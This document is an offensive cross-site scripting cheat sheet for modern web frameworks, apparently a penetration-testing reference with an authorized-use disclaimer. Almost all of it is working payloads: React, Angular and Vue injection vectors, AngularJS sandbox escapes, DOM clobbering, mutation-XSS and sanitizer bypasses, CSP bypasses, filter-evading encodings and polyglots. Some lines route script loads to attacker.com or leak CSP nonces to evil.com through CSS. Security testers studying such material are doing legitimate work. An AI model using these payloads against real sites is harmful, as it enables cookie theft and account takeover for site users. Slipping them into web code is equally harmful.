XSS-MODERN
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Cross-site scripting vectors targeting modern JavaScript frameworks, CSP bypasses, and advanced DOM manipulation techniques.
REACT XSS VECTORS#
dangerouslySetInnerHTML:
# React escapes by default, but dangerouslySetInnerHTML bypasses this
# If user input reaches dangerouslySetInnerHTML, XSS is possible
<div dangerouslySetInnerHTML={{__html: userInput}} />
# Payloads for dangerouslySetInnerHTML context:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
href/src with javascript: Protocol:
# React allows javascript: in href if not sanitized
<a href={userInput}>Click</a>
# Payload:
javascript:alert(1)
javascript:alert(document.cookie)
# React 16.9+ warns but does not block javascript: URLs
# Still exploitable if user input flows into href
Server-Side Rendering (SSR) XSS:
# Next.js / SSR React - injection into serialized state
# Look for __NEXT_DATA__ or window.__INITIAL_STATE__
# If user input is reflected in serialized JSON without encoding:
</script><script>alert(1)</script>
React Native WebView:
# If using WebView with user-controlled URLs
javascript:alert(1)
data:text/html,<script>alert(1)</script>
ANGULAR TEMPLATE INJECTION#
AngularJS (1.x) - Client-Side Template Injection:
# Classic (sandbox bypasses vary by version)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
# AngularJS 1.6+
{{$on.constructor('alert(1)')()}}
{{toString().constructor.prototype.charAt=[].join;
$eval('x=alert(1)')}}
# AngularJS 1.0.1-1.1.5
{{constructor.constructor('alert(1)')()}}
# AngularJS 1.2.0-1.2.1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
# AngularJS with CSP
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
Angular (2+):
# Modern Angular uses AOT compilation, template injection is harder
# Look for: [innerHTML] binding without sanitization
<div [innerHTML]="userInput"></div>
# Angular DomSanitizer bypass
# If bypassSecurityTrustHtml is used on user input
this.sanitizer.bypassSecurityTrustHtml(userInput)
# Payloads for [innerHTML]:
<img src=x onerror=alert(1)>
# Note: Angular strips event handlers from [innerHTML]
# But <style>, <link>, and other elements may still work for CSS injection
VUE.JS XSS VECTORS#
v-html Directive:
# v-html renders raw HTML - equivalent to dangerouslySetInnerHTML
<div v-html="userInput"></div>
# Payloads:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Template Injection (Server-Side):
# If Vue templates are rendered server-side with user input
{{constructor.constructor('alert(1)')()}}
{{_c.constructor('alert(1)')()}}
# Vue 2
{{this.constructor.constructor('alert(1)')()}}
# Vue 3
{{$el.ownerDocument.defaultView.alert(1)}}
Dynamic Component Rendering:
# If component name is user-controlled
<component :is="userInput"></component>
# Can potentially load malicious components
DOM CLOBBERING#
Concept:
# HTML elements with id/name attributes create global JS variables
# Can override undefined variables in JavaScript
Basic Clobbering:
# If JS code accesses: someConfig.url
<a id="someConfig"></a>
<a id="someConfig" name="url" href="javascript:alert(1)"></a>
# Clobbering window.x.y
<form id="x"><input id="y" value="clobbered"></form>
# window.x.y now returns the input element
# Clobbering toString
<a id="x" href="javascript:alert(1)">click</a>
# String(window.x) returns "javascript:alert(1)"
Advanced Clobbering:
# Override object properties via nested forms
<form id="config">
<input name="apiUrl" value="https://evil.com">
</form>
# document.getElementById('config').apiUrl.value = "https://evil.com"
# HTMLCollection clobbering (same id, multiple elements)
<a id="x">first</a>
<a id="x">second</a>
# document.getElementById('x') returns first
# window.x returns HTMLCollection
MUTATION XSS (mXSS)#
Concept:
# Browser HTML parser mutations can transform safe HTML into dangerous HTML
# Sanitizer sees safe input, but browser reinterprets it as dangerous
Vectors:
# Namespace confusion (SVG/MathML/HTML)
<svg><style><img src=x onerror=alert(1)></style></svg>
# The content inside <style> in SVG context is treated as text
# But when moved to HTML context, it becomes active HTML
<math><mtext><table><mglyph><style><!--</style>
<img src=x onerror=alert(1)>
# DOMPurify bypass (historical)
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
# Mutation via <noscript> in scripting-enabled documents
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
Context Switching:
# Elements that switch parsing context
<svg>, <math>, <foreignObject>, <desc>, <title>
# Parser handles these differently, creating mutation opportunities
CSP BYPASS TECHNIQUES#
Script-src 'unsafe-inline':
# Direct XSS works
<script>alert(1)</script>
<img src=x onerror=alert(1)>
Script-src 'self':
# Upload a JS file and reference it
<script src="/uploads/evil.js"></script>
# JSONP endpoint abuse
<script src="/api/jsonp?callback=alert(1)//"></script>
# Angular/Vue library on same origin
<script src="/assets/angular.min.js"></script>
Script-src with CDN allowlist:
# If CDN like cdnjs.cloudflare.com is allowed
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Use allowed CDN to load arbitrary scripts
<script src="https://cdn.jsdelivr.net/npm/evil-package"></script>
Base-uri Not Set:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script sources now load from attacker.com
Nonce Exfiltration:
# CSS injection to steal nonce values
script[nonce^="a"]{background:url(https://evil.com/?nonce=a)}
script[nonce^="ab"]{background:url(https://evil.com/?nonce=ab)}
Policy Injection:
# If CSP header is reflected/injectable
Content-Security-Policy: script-src 'none'; script-src-elem 'unsafe-inline'
# script-src-elem overrides script-src for inline scripts
Strict-Dynamic Bypass:
# If 'strict-dynamic' is used, trusted scripts can load more scripts
# Find a gadget in trusted script that creates new script elements
# Parser-inserted scripts are blocked, but dynamically created ones are allowed
Report-Only Mode:
# Content-Security-Policy-Report-Only does NOT enforce
# XSS still executes, only reports are sent
Object-src / Plugin Bypass:
# If object-src is not set
<object data="data:text/html,<script>alert(1)</script>">
<embed src="data:text/html,<script>alert(1)</script>">
EVENT HANDLER PAYLOADS#
Common Handlers:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
Without Parentheses:
<img src=x onerror=alert`1`>
<img src=x onerror=alert(1)>
<img src=x onerror=window['alert'](1)>
<img src=x onerror=self['ale'+'rt'](1)>
Without alert Keyword:
<img src=x onerror=confirm(1)>
<img src=x onerror=prompt(1)>
<img src=x onerror=print()>
<img src=x onerror=top[8680439..toString(30)](1)>
<img src=x onerror=window[atob('YWxlcnQ=')](1)>
Without Spaces:
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
SVG AND MATHML VECTORS#
SVG:
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x to=y>
<svg><a><rect width=99% height=99% /><animate attributeName=href
values=javascript:alert(1) /></a>
<svg><use href="data:image/svg+xml,<svg id='x'
xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x">
MathML:
<math><mtext><img src=x onerror=alert(1)></mtext></math>
<math><annotation-xml encoding="text/html">
<img src=x onerror=alert(1)>
</annotation-xml></math>
POLYGLOT PAYLOADS#
Multi-Context Polyglots:
# Works in HTML, JS string, and URL contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0telerik%0telerik%0d%0a//</stYle/</titLe/</telerik/</telerik/</svg/</script/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
# Shorter polyglot
'--></style></script><svg/onload=alert(1)>
# HTML comment + script context
*/</script><img src=x onerror=alert(1)>/*
# String escape + HTML
</script><script>alert(1)</script>
'-alert(1)-'
"-alert(1)-"
Framework-Agnostic:
# Works across React dangerouslySetInnerHTML, Vue v-html, Angular innerHTML
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
ENCODING AND OBFUSCATION#
HTML Entity Encoding:
alert (alert in hex entities)
alert (alert in decimal entities)
<img src=x onerror="alert(1)">
JavaScript Encoding:
\x61\x6c\x65\x72\x74 (alert in JS hex)
\u0061\u006c\u0065\u0072\u0074 (alert in JS unicode)
eval(atob('YWxlcnQoMSk=')) (base64 alert(1))
URL Encoding in Event Handlers:
<a href="javascript:%61lert(1)">click</a>
JSFuck (encode any JS without alphanumeric chars):
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+...
# Use jsfuck.com to generate
DETECTION AND TESTING TIPS#
Quick Test Probes:
'"><img src=x onerror=alert(1)>{{7*7}}${7*7}
# Tests HTML injection, template injection simultaneously
Identify Context:
- HTML body: look for direct tag injection
- HTML attribute: break out with " or '
- JavaScript string: break out with ' or " then inject
- JavaScript template literal: use ${alert(1)}
- URL context: javascript: protocol
- CSS context: expression() (IE) or url() exfiltration
Tools:
XSStrike - Intelligent XSS detection
Dalfox - Parameter analysis and XSS finder
knoxss.me - Online XSS testing service
DOMPurify - Test sanitizer bypass attempts
BurpSuite - Manual + automated XSS testing